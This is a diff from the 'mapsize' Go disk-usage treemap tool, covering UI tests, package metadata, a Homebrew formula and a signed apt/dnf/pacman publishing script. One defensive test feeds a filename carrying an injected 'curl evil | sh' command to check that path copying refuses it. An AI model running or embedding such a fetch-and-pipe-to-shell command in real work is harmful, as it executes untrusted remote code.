t := inventory.New("/", inventory.KindDir)
|
||||||
|
add := func(p inventory.NodeID, name string, size int64) {
|
||||||
|
id := t.Add(p, name, inventory.KindFile)
|
||||||
|
n := t.Node(id)
|
||||||
|
n.Size, n.Alloc = size, size
|
||||||
|
n.Cat = inventory.CategoryFor(inventory.Ext(name), false, false)
|
||||||
|
}
|
||||||
|
dir := func(p inventory.NodeID, name string) inventory.NodeID {
|
||||||
|
id := t.Add(p, name, inventory.KindDir)
|
||||||
|
t.Node(id).Flags |= inventory.FlagScanned
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
mnt := dir(0, "mnt")
|
||||||
|
raid := dir(mnt, "raid")
|
||||||
|
media := dir(raid, "media")
|
||||||
|
for _, show := range []string{"X-Files", "Simpsons", "Frasier"} {
|
||||||
|
s := dir(media, show)
|
||||||
|
for i := 1; i <= 5; i++ {
|
||||||
|
se := dir(s, fmt.Sprintf("S%02d", i))
|
||||||
|
for e := 1; e <= 20; e++ {
|
||||||
|
add(se, fmt.Sprintf("E%02d.mkv", e), int64(e)<<28)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
usr := dir(0, "usr")
|
||||||
|
lib := dir(usr, "lib")
|
||||||
|
for i := range 50 {
|
||||||
|
add(lib, fmt.Sprintf("lib%d.so", i), int64(i+1)<<22)
|
||||||
|
}
|
||||||
|
v := dir(0, "var")
|
||||||
|
add(dir(v, "log"), "syslog", 2<<30)
|
||||||
|
t.Recompute()
|
||||||
|
t.Stats.Complete = true
|
||||||
|
return t
|
||||||
|
}
|
||||||
|
|
||||||
|
// A single-child chain (mnt → raid → media) must not use up the nesting
|
||||||
|
// budget: the map at / should reach the seasons and their episodes.
|
||||||
|
func TestNestingReachesDeepMedia(t *testing.T) {
|
||||||
|
tr := rootTree()
|
||||||
|
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
|
||||||
|
m.profile = colorprofile.TrueColor
|
||||||
|
send(m, size(160, 45))
|
||||||
|
if out := ansi.Strip(m.View().Content); !strings.Contains(out, "mnt/raid/media/") || !strings.Contains(out, "S01/") {
|
||||||
|
t.Fatalf("chain or seasons missing:\n%s", out)
|
||||||
|
}
|
||||||
|
files := 0
|
||||||
|
for _, nb := range m.tm.nested {
|
||||||
|
if nb.id >= 0 && !tr.Node(inventory.NodeID(nb.id)).IsDir() {
|
||||||
|
files++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if files < 50 {
|
||||||
|
t.Fatalf("only %d episode blocks drawn", files)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Headless, o shows the selected folder in the map instead of launching a
|
||||||
|
// file manager.
|
||||||
|
func TestRevealHeadlessZoomsMap(t *testing.T) {
|
||||||
|
t.Setenv("DISPLAY", "")
|
||||||
|
t.Setenv("WAYLAND_DISPLAY", "")
|
||||||
|
tr := rootTree()
|
||||||
|
m := newModel(Options{Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, tr, nil }}, nil, tr, func() {})
|
||||||
|
send(m, size(160, 45))
|
||||||
|
mnt := m.kidsOf(m.zoom).ids[0]
|
||||||
|
m.snapshot = false // reveal is refused for snapshots
|
||||||
|
m.sel, m.userSel = int64(mnt), true
|
||||||
|
send(m, key("o"))
|
||||||
|
if m.zoom != mnt {
|
||||||
|
t.Fatalf("zoom = %q, want mnt", tr.Path(m.zoom))
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -480,3 +480,20 @@ func TestColourDepthsRenderSameGeometry(t *testing.T) {
|
|||||||
checkFrame(t, m, 100, 30)
|
checkFrame(t, m, 100, 30)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// A filename with a newline would run commands when pasted into a shell.
|
||||||
|
func TestCopyRefusesControlCharacters(t *testing.T) {
|
||||||
|
m := newTestModel(t)
|
||||||
|
m.copyPath("/srv/x\ncurl evil | sh\n")
|
||||||
|
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||||
|
t.Fatalf("hostile path copied: %q", m.toast)
|
||||||
|
}
|
||||||
|
m.copyPath("/srv/media/" + hostile)
|
||||||
|
if !strings.HasPrefix(m.toast, "Not copied") {
|
||||||
|
t.Fatalf("escape sequence copied: %q", m.toast)
|
||||||
|
}
|
||||||
|
m.copyPath("/srv/photos 日本語/img001.jpg")
|
||||||
|
if !strings.HasPrefix(m.toast, "Copied") {
|
||||||
|
t.Fatalf("plain path refused: %q", m.toast)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -0,0 +1,14 @@
|
|||||||
|
name: mapsize
|
||||||
|
arch: ${ARCH}
|
||||||
|
version: ${VERSION}
|
||||||
|
maintainer: Andy Dixon <andy@dixon.cx>
|
||||||
|
description: Interactive full-terminal disk usage analyser with a live treemap.
|
||||||
|
homepage: https://github.com/andydixon/mapsize
|
||||||
|
license: GPL-3.0-or-later
|
||||||
|
contents:
|
||||||
|
- src: bin/release/pkg/mapsize
|
||||||
|
dst: /usr/bin/mapsize
|
||||||
|
- src: docs/mapsize.1
|
||||||
|
dst: /usr/share/man/man1/mapsize.1
|
||||||
|
file_info:
|
||||||
|
mode: 0644
|
||||||
@@ -0,0 +1,26 @@
|
|||||||
|
# Homebrew formula template for mapsize. `make brew-formula` fills in the
|
||||||
|
# version and the checksum of the GitHub source tarball and writes the
|
||||||
|
# result to bin/homebrew/mapsize.rb; copy that into your tap
|
||||||
|
# (github.com/andydixon/homebrew-tap, Formula/mapsize.rb).
|
||||||
|
class Mapsize < Formula
|
||||||
|
desc "Interactive terminal disk usage analyser with a navigable treemap"
|
||||||
|
homepage "https://github.com/andydixon/mapsize"
|
||||||
|
url "https://github.com/andydixon/mapsize/archive/refs/tags/v@VERSION@.tar.gz"
|
||||||
|
sha256 "@SHA256@"
|
||||||
|
license "GPL-3.0-or-later"
|
||||||
|
head "https://github.com/andydixon/mapsize.git", branch: "master"
|
||||||
|
|
||||||
|
depends_on "go" => :build
|
||||||
|
|
||||||
|
def install
|
||||||
|
ldflags = "-X github.com/andydixon/mapsize/internal/brand.Version=#{version}"
|
||||||
|
system "go", "build", *std_go_args(ldflags:), "./cmd/mapsize"
|
||||||
|
man1.install "docs/mapsize.1"
|
||||||
|
end
|
||||||
|
|
||||||
|
test do
|
||||||
|
assert_match version.to_s, shell_output("#{bin}/mapsize --version")
|
||||||
|
(testpath/"data/file.txt").write "hello"
|
||||||
|
assert_match "Files", shell_output("#{bin}/mapsize --no-ui #{testpath}/data")
|
||||||
|
end
|
||||||
|
end
|
||||||
Executable
+196
@@ -0,0 +1,196 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Build Linux packages (.deb, .rpm, Arch .pkg.tar.zst) for a release tag and
|
||||||
|
# publish them to the signed apt, dnf and pacman repositories served at
|
||||||
|
# https://repo.dixon.cx.
|
||||||
|
#
|
||||||
|
# packaging/repo.sh # the newest tag
|
||||||
|
# packaging/repo.sh v1.0.0 # a given tag
|
||||||
|
#
|
||||||
|
# Builds from a clean export of the tag, so the working tree doesn't matter.
|
||||||
|
# Every index is rebuilt over all the packages in the repository, so other
|
||||||
|
# projects publishing there with their copy of this script are kept.
|
||||||
|
#
|
||||||
|
# Needs: go, docker, gpg, apt-ftparchive (apt-utils), flock.
|
||||||
|
# REPO_DIR where the repository lives (default below)
|
||||||
|
# REPO_GNUPGHOME GnuPG home holding the signing key (default below)
|
||||||
|
# ARCHS Go architectures to package (default below)
|
||||||
|
#
|
||||||
|
# The same script, with its own project block, is in ../vault/packaging.
|
||||||
|
set -euo pipefail
|
||||||
|
|
||||||
|
# ---- project ---------------------------------------------------------------
|
||||||
|
NAME=mapsize # the command
|
||||||
|
PACKAGE=mapsize
|
||||||
|
CONFLICTS=
|
||||||
|
SUMMARY="Interactive full-terminal disk usage analyser with a live treemap"
|
||||||
|
HOMEPAGE=https://github.com/andydixon/mapsize
|
||||||
|
LICENSE=GPL-3.0-or-later
|
||||||
|
MANPAGES=docs/*.1
|
||||||
|
DOCS="README.md CHANGELOG.md LICENSE"
|
||||||
|
# build OUT: build the binary to OUT, in the source tree, with GOOS, GOARCH
|
||||||
|
# and GOARM set and VERSION the release.
|
||||||
|
build() {
|
||||||
|
CGO_ENABLED=0 go build -trimpath \
|
||||||
|
-ldflags "-s -w -X github.com/andydixon/mapsize/internal/brand.Version=$VERSION" \
|
||||||
|
-o "$1" ./cmd/mapsize
|
||||||
|
}
|
||||||
|
# ----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
REPO_DIR=${REPO_DIR:-/home/andy/domains/repo.dixon.cx/public_html}
|
||||||
|
REPO_GNUPGHOME=${REPO_GNUPGHOME:-$HOME/.config/repo.dixon.cx/gnupg}
|
||||||
|
ARCHS=${ARCHS:-"amd64 arm64 arm 386 riscv64"}
|
||||||
|
NFPM="go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1"
|
||||||
|
SUITE=stable
|
||||||
|
COMPONENT=main
|
||||||
|
ARCH_REPO=dixon # the pacman repository name: [dixon]
|
||||||
|
|
||||||
|
say() { echo "repo: $*" >&2; }
|
||||||
|
die() { say "$*"; exit 1; }
|
||||||
|
|
||||||
|
for tool in go docker gpg apt-ftparchive flock; do
|
||||||
|
command -v $tool >/dev/null || die "needs $tool"
|
||||||
|
done
|
||||||
|
[[ -d $REPO_DIR ]] || die "$REPO_DIR does not exist"
|
||||||
|
export GNUPGHOME=$REPO_GNUPGHOME
|
||||||
|
KEY=$(gpg --list-secret-keys --with-colons 2>/dev/null | awk -F: '/^fpr/{print $10; exit}')
|
||||||
|
[[ -n $KEY ]] || die "no signing key in $GNUPGHOME"
|
||||||
|
|
||||||
|
cd "$(git rev-parse --show-toplevel)"
|
||||||
|
TAG=${1:-$(git describe --tags --abbrev=0)}
|
||||||
|
git rev-parse -q --verify "refs/tags/$TAG" >/dev/null || die "no tag $TAG"
|
||||||
|
VERSION=${TAG#v}
|
||||||
|
export VERSION
|
||||||
|
|
||||||
|
WORK=$(mktemp -d)
|
||||||
|
trap 'rm -rf "$WORK"' EXIT
|
||||||
|
git archive "$TAG" | tar -x -C "$WORK" --one-top-level=src
|
||||||
|
gpg --batch --armor --export-secret-keys "$KEY" >"$WORK/signing.asc"
|
||||||
|
|
||||||
|
# ---- build -----------------------------------------------------------------
|
||||||
|
say "building $PACKAGE $VERSION for $ARCHS"
|
||||||
|
mkdir -p "$WORK/out"
|
||||||
|
for arch in $ARCHS; do
|
||||||
|
goarm= nfarch=$arch
|
||||||
|
[[ $arch == arm ]] && goarm=7 nfarch=arm7
|
||||||
|
(cd "$WORK/src" && GOOS=linux GOARCH=$arch GOARM=$goarm build "$WORK/bin-$arch/$NAME")
|
||||||
|
{
|
||||||
|
cat <<-EOF
|
||||||
|
name: $PACKAGE
|
||||||
|
arch: $nfarch
|
||||||
|
platform: linux
|
||||||
|
version: $VERSION
|
||||||
|
release: 1
|
||||||
|
maintainer: Andy Dixon <andy@dixon.cx>
|
||||||
|
description: $SUMMARY
|
||||||
|
homepage: $HOMEPAGE
|
||||||
|
license: $LICENSE
|
||||||
|
conflicts: [${CONFLICTS:-}]
|
||||||
|
contents:
|
||||||
|
- src: $WORK/bin-$arch/$NAME
|
||||||
|
dst: /usr/bin/$NAME
|
||||||
|
file_info: {mode: 0755}
|
||||||
|
EOF
|
||||||
|
for m in $(cd "$WORK/src" && ls $MANPAGES); do
|
||||||
|
printf ' - src: %s\n dst: /usr/share/man/man1/%s\n file_info: {mode: 0644}\n' \
|
||||||
|
"$WORK/src/$m" "$(basename "$m")"
|
||||||
|
done
|
||||||
|
for d in $DOCS; do
|
||||||
|
printf ' - src: %s\n dst: /usr/share/doc/%s/%s\n file_info: {mode: 0644}\n' \
|
||||||
|
"$WORK/src/$d" "$PACKAGE" "$d"
|
||||||
|
done
|
||||||
|
printf 'rpm:\n signature:\n key_file: %s\n' "$WORK/signing.asc"
|
||||||
|
} >"$WORK/nfpm-$arch.yaml"
|
||||||
|
for fmt in deb rpm archlinux; do
|
||||||
|
$NFPM pkg -f "$WORK/nfpm-$arch.yaml" -p $fmt -t "$WORK/out/" >/dev/null
|
||||||
|
done
|
||||||
|
done
|
||||||
|
|
||||||
|
# ---- publish ---------------------------------------------------------------
|
||||||
|
# One publisher at a time: the indexes cover every project's packages.
|
||||||
|
exec 9>"$REPO_DIR/../.publish.lock"
|
||||||
|
flock 9
|
||||||
|
say "publishing to $REPO_DIR"
|
||||||
|
gpg --batch --armor --export "$KEY" >"$REPO_DIR/dixon.asc"
|
||||||
|
gpg --batch --export "$KEY" >"$REPO_DIR/dixon.gpg"
|
||||||
|
sign() { gpg --batch --yes --local-user "$KEY" "$@"; }
|
||||||
|
|
||||||
|
# apt: pool/main/<letter>/<name>/, indexed by apt-ftparchive.
|
||||||
|
pool=$REPO_DIR/apt/pool/$COMPONENT/${PACKAGE:0:1}/$PACKAGE
|
||||||
|
mkdir -p "$pool"
|
||||||
|
cp "$WORK"/out/*.deb "$pool/"
|
||||||
|
(
|
||||||
|
cd "$REPO_DIR/apt"
|
||||||
|
# Built beside the live suite and swapped in, so clients never see half.
|
||||||
|
dists=dists/.$SUITE.new
|
||||||
|
rm -rf "$dists"
|
||||||
|
debarchs=$(find pool -name '*.deb' | sed -E 's/.*_([^_]+)\.deb$/\1/' | sort -u | tr '\n' ' ')
|
||||||
|
for a in $debarchs; do
|
||||||
|
d=$dists/$COMPONENT/binary-$a
|
||||||
|
mkdir -p "$d"
|
||||||
|
apt-ftparchive --arch "$a" packages pool >"$d/Packages"
|
||||||
|
gzip -9kn "$d/Packages"
|
||||||
|
done
|
||||||
|
apt-ftparchive \
|
||||||
|
-o APT::FTPArchive::Release::Origin=repo.dixon.cx \
|
||||||
|
-o APT::FTPArchive::Release::Label=repo.dixon.cx \
|
||||||
|
-o APT::FTPArchive::Release::Suite=$SUITE \
|
||||||
|
-o APT::FTPArchive::Release::Codename=$SUITE \
|
||||||
|
-o APT::FTPArchive::Release::Components=$COMPONENT \
|
||||||
|
-o "APT::FTPArchive::Release::Architectures=${debarchs% }" \
|
||||||
|
release "$dists" >"$WORK/Release"
|
||||||
|
mv "$WORK/Release" "$dists/Release"
|
||||||
|
sign --clearsign -o "$dists/InRelease" "$dists/Release"
|
||||||
|
sign --armor --detach-sign -o "$dists/Release.gpg" "$dists/Release"
|
||||||
|
rm -rf "dists/.$SUITE.old"
|
||||||
|
[[ -d dists/$SUITE ]] && mv "dists/$SUITE" "dists/.$SUITE.old"
|
||||||
|
mv "$dists" "dists/$SUITE"
|
||||||
|
rm -rf "dists/.$SUITE.old"
|
||||||
|
)
|
||||||
|
|
||||||
|
# dnf: every architecture in one directory; dnf picks its own.
|
||||||
|
mkdir -p "$REPO_DIR/rpm"
|
||||||
|
cp "$WORK"/out/*.rpm "$REPO_DIR/rpm/"
|
||||||
|
docker image inspect repo-tools:fedora >/dev/null 2>&1 ||
|
||||||
|
docker build -q -t repo-tools:fedora - >/dev/null <<-'EOF'
|
||||||
|
FROM fedora:42
|
||||||
|
RUN dnf -y install createrepo_c && dnf clean all
|
||||||
|
EOF
|
||||||
|
docker run --rm --user "$(id -u):$(id -g)" -v "$REPO_DIR/rpm:/repo" repo-tools:fedora \
|
||||||
|
createrepo_c --quiet --update --general-compress-type=gz /repo
|
||||||
|
sign --armor --detach-sign -o "$REPO_DIR/rpm/repodata/repomd.xml.asc" "$REPO_DIR/rpm/repodata/repomd.xml"
|
||||||
|
cat >"$REPO_DIR/rpm/dixon.repo" <<EOF
|
||||||
|
[dixon]
|
||||||
|
name=repo.dixon.cx
|
||||||
|
baseurl=https://repo.dixon.cx/rpm
|
||||||
|
enabled=1
|
||||||
|
gpgcheck=1
|
||||||
|
repo_gpgcheck=1
|
||||||
|
gpgkey=https://repo.dixon.cx/dixon.asc
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# pacman: one directory per architecture, each package signed, then
|
||||||
|
# repo-add (from an Arch container) and a signed database.
|
||||||
|
added=
|
||||||
|
for pkg in "$WORK"/out/*.pkg.tar.zst; do
|
||||||
|
a=$(basename "$pkg" .pkg.tar.zst)
|
||||||
|
a=${a##*-}
|
||||||
|
mkdir -p "$REPO_DIR/arch/$a"
|
||||||
|
cp "$pkg" "$REPO_DIR/arch/$a/"
|
||||||
|
sign --detach-sign -o "$REPO_DIR/arch/$a/$(basename "$pkg").sig" "$pkg"
|
||||||
|
added+=" $a"
|
||||||
|
done
|
||||||
|
for a in $(tr ' ' '\n' <<<"$added" | sort -u); do
|
||||||
|
dir=$REPO_DIR/arch/$a
|
||||||
|
# A fresh database of every package here; -p keeps the newest version.
|
||||||
|
rm -f "$dir/$ARCH_REPO".{db,files}{,.tar.gz}{,.sig}
|
||||||
|
docker run --rm --user "$(id -u):$(id -g)" -e HOME=/tmp -v "$dir:/repo" -w /repo archlinux:latest \
|
||||||
|
sh -c "repo-add --quiet --prevent-downgrade $ARCH_REPO.db.tar.gz *.pkg.tar.zst" 2>&1 |
|
||||||
|
{ grep -v "newer version\|^$" >&2 || true; }
|
||||||
|
for db in $ARCH_REPO.db $ARCH_REPO.files; do
|
||||||
|
sign --detach-sign -o "$dir/$db.tar.gz.sig" "$dir/$db.tar.gz"
|
||||||
|
ln -sfn "$db.tar.gz.sig" "$dir/$db.sig"
|
||||||
|
done
|
||||||
|
rm -f "$dir"/*.old "$dir"/*.old.sig
|
||||||
|
done
|
||||||
|
|
||||||
|
say "published $PACKAGE $VERSION: $(cd "$WORK/out" && ls | wc -l) packages"
|
||||||
Reference in New Issue
Block a user